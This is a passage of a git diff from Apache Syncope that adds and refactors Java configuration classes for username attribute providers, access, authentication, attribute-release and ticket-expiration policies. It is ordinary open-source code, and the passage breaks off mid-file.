and limitations + * under the License. + */ +package org.apache.syncope.common.lib.clientapps; + +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.apache.commons.lang3.builder.HashCodeBuilder; +import org.apache.syncope.common.lib.types.CaseCanonicalizationMode; + +public abstract class AbstractAttributeProviderConf implements UsernameAttributeProviderConf { + + private static final long serialVersionUID = 497016622295991904L; + + protected CaseCanonicalizationMode caseCanonicalizationMode = CaseCanonicalizationMode.NONE; + + public CaseCanonicalizationMode getCaseCanonicalizationMode() { + return caseCanonicalizationMode; + } + + public void setCaseCanonicalizationMode(final CaseCanonicalizationMode caseCanonicalizationMode) { + this.caseCanonicalizationMode = caseCanonicalizationMode; + } + + @Override + public int hashCode() { + return new HashCodeBuilder(). + append(caseCanonicalizationMode). + toHashCode(); + } + + @Override + public boolean equals(final Object obj) { + if (obj == null) { + return false; + } + if (obj == this) { + return true; + } + if (obj.getClass() != getClass()) { + return false; + } + AbstractAttributeProviderConf rhs = (AbstractAttributeProviderConf) obj; + return new EqualsBuilder(). + append(this.caseCanonicalizationMode, rhs.caseCanonicalizationMode). + isEquals(); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/AnonymousUsernameAttributeProviderConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/AnonymousUsernameAttributeProviderConf.java new file mode 100644 index 00000000000..d5e3b1af5cf --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/AnonymousUsernameAttributeProviderConf.java @@ -0,0 +1,69 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.clientapps; + +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.apache.commons.lang3.builder.HashCodeBuilder; +import org.apache.syncope.common.lib.types.PersistentIdGenerator; + +public class AnonymousUsernameAttributeProviderConf extends AbstractAttributeProviderConf { + + private static final long serialVersionUID = -4762223354637243358L; + + private PersistentIdGenerator persistentIdGenerator = PersistentIdGenerator.SHIBBOLETH; + + public PersistentIdGenerator getPersistentIdGenerator() { + return persistentIdGenerator; + } + + public void setPersistentIdGenerator(final PersistentIdGenerator persistentIdGenerator) { + this.persistentIdGenerator = persistentIdGenerator; + } + + @Override + public void map(final Mapper mapper) { + mapper.map(this); + } + + @Override + public int hashCode() { + return new HashCodeBuilder() + .appendSuper(super.hashCode()) + .append(persistentIdGenerator) + .toHashCode(); + } + + @Override + public boolean equals(final Object obj) { + if (obj == null) { + return false; + } + if (obj == this) { + return true; + } + if (obj.getClass() != getClass()) { + return false; + } + AnonymousUsernameAttributeProviderConf conf = (AnonymousUsernameAttributeProviderConf) obj; + return new EqualsBuilder() + .appendSuper(super.equals(obj)) + .append(this.persistentIdGenerator, conf.persistentIdGenerator) + .isEquals(); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/DefaultUsernameAttributeProviderConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/DefaultUsernameAttributeProviderConf.java new file mode 100644 index 00000000000..81dd2ae1987 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/DefaultUsernameAttributeProviderConf.java @@ -0,0 +1,29 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.clientapps; + +public class DefaultUsernameAttributeProviderConf extends AbstractAttributeProviderConf { + + private static final long serialVersionUID = 4315599812817709524L; + + @Override + public void map(final Mapper mapper) { + mapper.map(this); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/GroovyUsernameAttributeProviderConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/GroovyUsernameAttributeProviderConf.java new file mode 100644 index 00000000000..10b2f32f1a7 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/GroovyUsernameAttributeProviderConf.java @@ -0,0 +1,68 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.clientapps; + +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.apache.commons.lang3.builder.HashCodeBuilder; + +public class GroovyUsernameAttributeProviderConf extends AbstractAttributeProviderConf { + + private static final long serialVersionUID = -4762223354637243358L; + + private String groovyScript; + + public String getGroovyScript() { + return groovyScript; + } + + public void setGroovyScript(final String groovyScript) { + this.groovyScript = groovyScript; + } + + @Override + public void map(final Mapper mapper) { + mapper.map(this); + } + + @Override + public int hashCode() { + return new HashCodeBuilder() + .appendSuper(super.hashCode()) + .append(groovyScript) + .toHashCode(); + } + + @Override + public boolean equals(final Object obj) { + if (obj == null) { + return false; + } + if (obj == this) { + return true; + } + if (obj.getClass() != getClass()) { + return false; + } + GroovyUsernameAttributeProviderConf conf = (GroovyUsernameAttributeProviderConf) obj; + return new EqualsBuilder() + .appendSuper(super.equals(obj)) + .append(this.groovyScript, conf.groovyScript) + .isEquals(); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/PairwiseOidcUsernameAttributeProviderConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/PairwiseOidcUsernameAttributeProviderConf.java new file mode 100644 index 00000000000..ea4a50dde55 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/PairwiseOidcUsernameAttributeProviderConf.java @@ -0,0 +1,69 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.clientapps; + +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.apache.commons.lang3.builder.HashCodeBuilder; +import org.apache.syncope.common.lib.types.PersistentIdGenerator; + +public class PairwiseOidcUsernameAttributeProviderConf extends AbstractAttributeProviderConf { + + private static final long serialVersionUID = -4762223354637243358L; + + private PersistentIdGenerator persistentIdGenerator = PersistentIdGenerator.OIDC; + + public PersistentIdGenerator getPersistentIdGenerator() { + return persistentIdGenerator; + } + + public void setPersistentIdGenerator(final PersistentIdGenerator persistentIdGenerator) { + this.persistentIdGenerator = persistentIdGenerator; + } + + @Override + public void map(final Mapper mapper) { + mapper.map(this); + } + + @Override + public int hashCode() { + return new HashCodeBuilder() + .appendSuper(super.hashCode()) + .append(persistentIdGenerator) + .toHashCode(); + } + + @Override + public boolean equals(final Object obj) { + if (obj == null) { + return false; + } + if (obj == this) { + return true; + } + if (obj.getClass() != getClass()) { + return false; + } + PairwiseOidcUsernameAttributeProviderConf conf = (PairwiseOidcUsernameAttributeProviderConf) obj; + return new EqualsBuilder() + .appendSuper(super.equals(obj)) + .append(this.persistentIdGenerator, conf.persistentIdGenerator) + .isEquals(); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/PrincipalAttributeUsernameAttributeProviderConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/PrincipalAttributeUsernameAttributeProviderConf.java new file mode 100644 index 00000000000..e2c23aaa1db --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/PrincipalAttributeUsernameAttributeProviderConf.java @@ -0,0 +1,68 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.clientapps; + +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.apache.commons.lang3.builder.HashCodeBuilder; + +public class PrincipalAttributeUsernameAttributeProviderConf extends AbstractAttributeProviderConf { + + private static final long serialVersionUID = -4762223354637243358L; + + private String usernameAttribute; + + public String getUsernameAttribute() { + return usernameAttribute; + } + + public void setUsernameAttribute(final String usernameAttribute) { + this.usernameAttribute = usernameAttribute; + } + + @Override + public void map(final Mapper mapper) { + mapper.map(this); + } + + @Override + public int hashCode() { + return new HashCodeBuilder() + .appendSuper(super.hashCode()) + .append(usernameAttribute) + .toHashCode(); + } + + @Override + public boolean equals(final Object obj) { + if (obj == null) { + return false; + } + if (obj == this) { + return true; + } + if (obj.getClass() != getClass()) { + return false; + } + PrincipalAttributeUsernameAttributeProviderConf conf = (PrincipalAttributeUsernameAttributeProviderConf) obj; + return new EqualsBuilder() + .appendSuper(super.equals(obj)) + .append(this.usernameAttribute, conf.usernameAttribute) + .isEquals(); + } +} diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/AbstractReportletConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/UsernameAttributeProviderConf.java similarity index 57% rename from common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/AbstractReportletConf.java rename to common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/UsernameAttributeProviderConf.java index 975fb70327d..d349670d5a4 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/AbstractReportletConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/clientapps/UsernameAttributeProviderConf.java @@ -16,33 +16,26 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.common.lib.report; +package org.apache.syncope.common.lib.clientapps; -import org.apache.commons.lang3.StringUtils; +import com.fasterxml.jackson.annotation.JsonTypeInfo; import org.apache.syncope.common.lib.BaseBean; -public abstract class AbstractReportletConf implements BaseBean, ReportletConf { +@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.PROPERTY, property = "_class") +public interface UsernameAttributeProviderConf extends BaseBean { - private static final long serialVersionUID = -6130008602014516608L; + interface Mapper { - private String name; + void map(AnonymousUsernameAttributeProviderConf conf); - public AbstractReportletConf() { - this(StringUtils.EMPTY); - setName(getClass().getName()); - } + void map(DefaultUsernameAttributeProviderConf conf); - public AbstractReportletConf(final String name) { - super(); - this.name = name; - } + void map(GroovyUsernameAttributeProviderConf conf); - @Override - public final String getName() { - return name; - } + void map(PairwiseOidcUsernameAttributeProviderConf conf); - public final void setName(final String name) { - this.name = name; + void map(PrincipalAttributeUsernameAttributeProviderConf conf); } + + void map(Mapper mapper); } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/AccessPolicyConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/AccessPolicyConf.java index 24025d27747..8801e4c2e2b 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/AccessPolicyConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/AccessPolicyConf.java @@ -19,14 +19,8 @@ package org.apache.syncope.common.lib.policy; import com.fasterxml.jackson.annotation.JsonTypeInfo; -import java.util.List; -import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.BaseBean; @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.PROPERTY, property = "_class") public interface AccessPolicyConf extends BaseBean { - - List getRequiredAttrs(); - - List getRejectedAttrs(); } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/AccessPolicyTO.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/AccessPolicyTO.java index b988657e717..733b4e92a1d 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/AccessPolicyTO.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/AccessPolicyTO.java @@ -22,25 +22,12 @@ import com.fasterxml.jackson.annotation.JsonProperty; import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; import io.swagger.v3.oas.annotations.media.Schema; -import java.net.URI; @Schema(allOf = { PolicyTO.class }) public class AccessPolicyTO extends PolicyTO { private static final long serialVersionUID = -6711411162433533300L; - private int order; - - private boolean enabled = true; - - private boolean ssoEnabled = true; - - private boolean requireAllAttributes = true; - - private boolean caseInsensitive; - - private URI unauthorizedRedirectUrl; - private AccessPolicyConf conf; @JacksonXmlProperty(localName = "_class", isAttribute = true) @@ -52,54 +39,6 @@ public String getDiscriminator() { return getClass().getName(); } - public int getOrder() { - return order; - } - - public void setOrder(final int order) { - this.order = order; - } - - public boolean isEnabled() { - return enabled; - } - - public void setEnabled(final boolean enabled) { - this.enabled = enabled; - } - - public boolean isSsoEnabled() { - return this.ssoEnabled; - } - - public void setSsoEnabled(final boolean ssoEnabled) { - this.ssoEnabled = ssoEnabled; - } - - public boolean isRequireAllAttributes() { - return requireAllAttributes; - } - - public void setRequireAllAttributes(final boolean requireAllAttributes) { - this.requireAllAttributes = requireAllAttributes; - } - - public boolean isCaseInsensitive() { - return caseInsensitive; - } - - public void setCaseInsensitive(final boolean caseInsensitive) { - this.caseInsensitive = caseInsensitive; - } - - public URI getUnauthorizedRedirectUrl() { - return unauthorizedRedirectUrl; - } - - public void setUnauthorizedRedirectUrl(final URI unauthorizedRedirectUrl) { - this.unauthorizedRedirectUrl = unauthorizedRedirectUrl; - } - public AccessPolicyConf getConf() { return conf; } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/AttrReleasePolicyTO.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/AttrReleasePolicyTO.java index 4d37215fdec..35d3765f0ae 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/AttrReleasePolicyTO.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/AttrReleasePolicyTO.java @@ -29,7 +29,7 @@ public class AttrReleasePolicyTO extends PolicyTO { private int order; - private Boolean status; + private boolean status = true; private AttrReleasePolicyConf conf; @@ -50,7 +50,7 @@ public void setOrder(final int order) { this.order = order; } - public Boolean getStatus() { + public boolean getStatus() { return status; } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAccessPolicyConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAccessPolicyConf.java index 83685c6f4ee..c1ad2891062 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAccessPolicyConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAccessPolicyConf.java @@ -18,31 +18,88 @@ */ package org.apache.syncope.common.lib.policy; -import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlElementWrapper; -import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; -import java.util.ArrayList; -import java.util.List; -import org.apache.syncope.common.lib.Attr; +import io.swagger.v3.oas.annotations.media.Schema; +import java.net.URI; +import java.util.HashMap; +import java.util.Map; public class DefaultAccessPolicyConf implements AccessPolicyConf { private static final long serialVersionUID = 1153200197344709778L; - private final List requiredAttrs = new ArrayList<>(); + private int order; - private final List rejectedAttrs = new ArrayList<>(); + private boolean enabled = true; - @JacksonXmlElementWrapper(localName = "requiredAttrs") - @JacksonXmlProperty(localName = "requiredAttr") - @Override - public List getRequiredAttrs() { + private boolean ssoEnabled = true; + + private boolean requireAllAttributes = true; + + private boolean caseInsensitive; + + private URI unauthorizedRedirectUrl; + + @Schema(description = + "Insert comma-separated values in the right input field if you like to specify more than one value") + private final Map requiredAttrs = new HashMap<>(); + + @Schema(description = + "Insert comma-separated values in the right input field if you like to specify more than one value") + private final Map rejectedAttrs = new HashMap<>(); + + public int getOrder() { + return order; + } + + public void setOrder(final int order) { + this.order = order; + } + + public boolean isEnabled() { + return enabled; + } + + public void setEnabled(final boolean enabled) { + this.enabled = enabled; + } + + public boolean isSsoEnabled() { + return this.ssoEnabled; + } + + public void setSsoEnabled(final boolean ssoEnabled) { + this.ssoEnabled = ssoEnabled; + } + + public boolean isRequireAllAttributes() { + return requireAllAttributes; + } + + public void setRequireAllAttributes(final boolean requireAllAttributes) { + this.requireAllAttributes = requireAllAttributes; + } + + public boolean isCaseInsensitive() { + return caseInsensitive; + } + + public void setCaseInsensitive(final boolean caseInsensitive) { + this.caseInsensitive = caseInsensitive; + } + + public URI getUnauthorizedRedirectUrl() { + return unauthorizedRedirectUrl; + } + + public void setUnauthorizedRedirectUrl(final URI unauthorizedRedirectUrl) { + this.unauthorizedRedirectUrl = unauthorizedRedirectUrl; + } + + public Map getRequiredAttrs() { return requiredAttrs; } - @JacksonXmlElementWrapper(localName = "rejectedAttrs") - @JacksonXmlProperty(localName = "rejectedAttr") - @Override - public List getRejectedAttrs() { + public Map getRejectedAttrs() { return rejectedAttrs; } } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAttrReleasePolicyConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAttrReleasePolicyConf.java index 0c65f46dbf7..6bc299092f6 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAttrReleasePolicyConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAttrReleasePolicyConf.java @@ -22,7 +22,9 @@ import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; import java.io.Serializable; import java.util.ArrayList; +import java.util.HashMap; import java.util.List; +import java.util.Map; import java.util.concurrent.TimeUnit; public class DefaultAttrReleasePolicyConf implements AttrReleasePolicyConf { @@ -105,6 +107,8 @@ public List getAttrRepos() { } } + private final Map releaseAttrs = new HashMap<>(); + /** * Specify the list of allowed attribute to release. * Use the special {@code *} to release everything. @@ -119,6 +123,10 @@ public List getAttrRepos() { private final PrincipalAttrRepoConf principalAttrRepoConf = new PrincipalAttrRepoConf(); + public Map getReleaseAttrs() { + return releaseAttrs; + } + @JacksonXmlElementWrapper(localName = "allowedAttrs") @JacksonXmlProperty(localName = "allowedAttr") public List getAllowedAttrs() { diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAuthPolicyConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAuthPolicyConf.java index d78ef7cff95..0d0584f7488 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAuthPolicyConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultAuthPolicyConf.java @@ -29,6 +29,14 @@ public class DefaultAuthPolicyConf implements AuthPolicyConf { private boolean tryAll; + private boolean bypassEnabled; + + private boolean forceMfaExecution = true; + + private String bypassPrincipalAttributeName; + + private String bypassPrincipalAttributeValue; + private final List authModules = new ArrayList<>(); public boolean isTryAll() { @@ -39,6 +47,38 @@ public void setTryAll(final boolean tryAll) { this.tryAll = tryAll; } + public boolean isBypassEnabled() { + return bypassEnabled; + } + + public void setBypassEnabled(final boolean bypassEnabled) { + this.bypassEnabled = bypassEnabled; + } + + public boolean isForceMfaExecution() { + return forceMfaExecution; + } + + public void setForceMfaExecution(final boolean forceMfaExecution) { + this.forceMfaExecution = forceMfaExecution; + } + + public String getBypassPrincipalAttributeName() { + return bypassPrincipalAttributeName; + } + + public void setBypassPrincipalAttributeName(final String bypassPrincipalAttributeName) { + this.bypassPrincipalAttributeName = bypassPrincipalAttributeName; + } + + public String getBypassPrincipalAttributeValue() { + return bypassPrincipalAttributeValue; + } + + public void setBypassPrincipalAttributeValue(final String bypassPrincipalAttributeValue) { + this.bypassPrincipalAttributeValue = bypassPrincipalAttributeValue; + } + @JacksonXmlElementWrapper(localName = "authModules") @JacksonXmlProperty(localName = "authModule") public List getAuthModules() { diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultTicketExpirationPolicyConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultTicketExpirationPolicyConf.java new file mode 100644 index 00000000000..e67740ecbfc --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/DefaultTicketExpirationPolicyConf.java @@ -0,0 +1,102 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.policy; + +import java.io.Serializable; + +public class DefaultTicketExpirationPolicyConf implements TicketExpirationPolicyConf { + + private static final long serialVersionUID = -6177632746685440169L; + + public static class TGTConf implements Serializable { + + private static final long serialVersionUID = 4020295776618112940L; + + /** + * TTL of this ticket, in seconds. + */ + private long maxTimeToLiveInSeconds; + + public long getMaxTimeToLiveInSeconds() { + return maxTimeToLiveInSeconds; + } + + public void setMaxTimeToLiveInSeconds(final long maxTimeToLiveInSeconds) { + this.maxTimeToLiveInSeconds = maxTimeToLiveInSeconds; + } + } + + public static class STConf extends TGTConf { + + private static final long serialVersionUID = -9141008704559934825L; + + /** + * Number of times this ticket can be used. + */ + private long numberOfUses; + + public long getNumberOfUses() { + return numberOfUses; + } + + public void setNumberOfUses(final long numberOfUses) { + this.numberOfUses = numberOfUses; + } + } + + private TGTConf tgtConf; + + private STConf stConf; + + private TGTConf proxyTgtConf; + + private STConf proxyStConf; + + public TGTConf getTgtConf() { + return tgtConf; + } + + public void setTgtConf(final TGTConf tgtConf) { + this.tgtConf = tgtConf; + } + + public STConf getStConf() { + return stConf; + } + + public void setStConf(final STConf stConf) { + this.stConf = stConf; + } + + public TGTConf getProxyTgtConf() { + return proxyTgtConf; + } + + public void setProxyTgtConf(final TGTConf proxyTgtConf) { + this.proxyTgtConf = proxyTgtConf; + } + + public STConf getProxyStConf() { + return proxyStConf; + } + + public void setProxyStConf(final STConf proxySTConf) { + this.proxyStConf = proxySTConf; + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/HttpRequestAccessPolicyConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/HttpRequestAccessPolicyConf.java new file mode 100644 index 00000000000..9192f9a3d9e --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/HttpRequestAccessPolicyConf.java @@ -0,0 +1,44 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.policy; + +public class HttpRequestAccessPolicyConf implements AccessPolicyConf { + + private static final long serialVersionUID = 4511220098152435547L; + + private String ipAddress; + + private String userAgent; + + public String getIpAddress() { + return ipAddress; + } + + public void setIpAddress(final String ipAddress) { + this.ipAddress = ipAddress; + } + + public String getUserAgent() { + return userAgent; + } + + public void setUserAgent(final String userAgent) { + this.userAgent = userAgent; + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/RemoteEndpointAccessPolicyConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/RemoteEndpointAccessPolicyConf.java new file mode 100644 index 00000000000..c63959faef4 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/RemoteEndpointAccessPolicyConf.java @@ -0,0 +1,47 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.policy; + +import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlElementWrapper; +import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; +import java.util.ArrayList; +import java.util.List; + +public class RemoteEndpointAccessPolicyConf implements AccessPolicyConf { + + private static final long serialVersionUID = -1573476136969750601L; + + private String endpointUrl; + + private final List acceptableResponseCodes = new ArrayList<>(); + + public String getEndpointUrl() { + return endpointUrl; + } + + public void setEndpointUrl(final String endpointUrl) { + this.endpointUrl = endpointUrl; + } + + @JacksonXmlElementWrapper(localName = "acceptableResponseCodes") + @JacksonXmlProperty(localName = "acceptableResponseCode") + public List getAcceptableResponseCodes() { + return acceptableResponseCodes; + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/TicketExpirationPolicyConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/TicketExpirationPolicyConf.java new file mode 100644 index 00000000000..656fb3dd3b6 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/TicketExpirationPolicyConf.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.policy; + +import com.fasterxml.jackson.annotation.JsonTypeInfo; +import org.apache.syncope.common.lib.BaseBean; + +@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.PROPERTY, property = "_class") +public interface TicketExpirationPolicyConf extends BaseBean { +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/TicketExpirationPolicyTO.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/TicketExpirationPolicyTO.java new file mode 100644 index 00000000000..04f48c1db57 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/TicketExpirationPolicyTO.java @@ -0,0 +1,49 @@ + +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.policy; + +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; +import io.swagger.v3.oas.annotations.media.Schema; + +@Schema(allOf = { PolicyTO.class }) +public class TicketExpirationPolicyTO extends PolicyTO { + + private static final long serialVersionUID = -6711411162433533300L; + + private TicketExpirationPolicyConf conf; + + @JacksonXmlProperty(localName = "_class", isAttribute = true) + @JsonProperty("_class") + @Schema(name = "_class", requiredMode = Schema.RequiredMode.REQUIRED, + example = 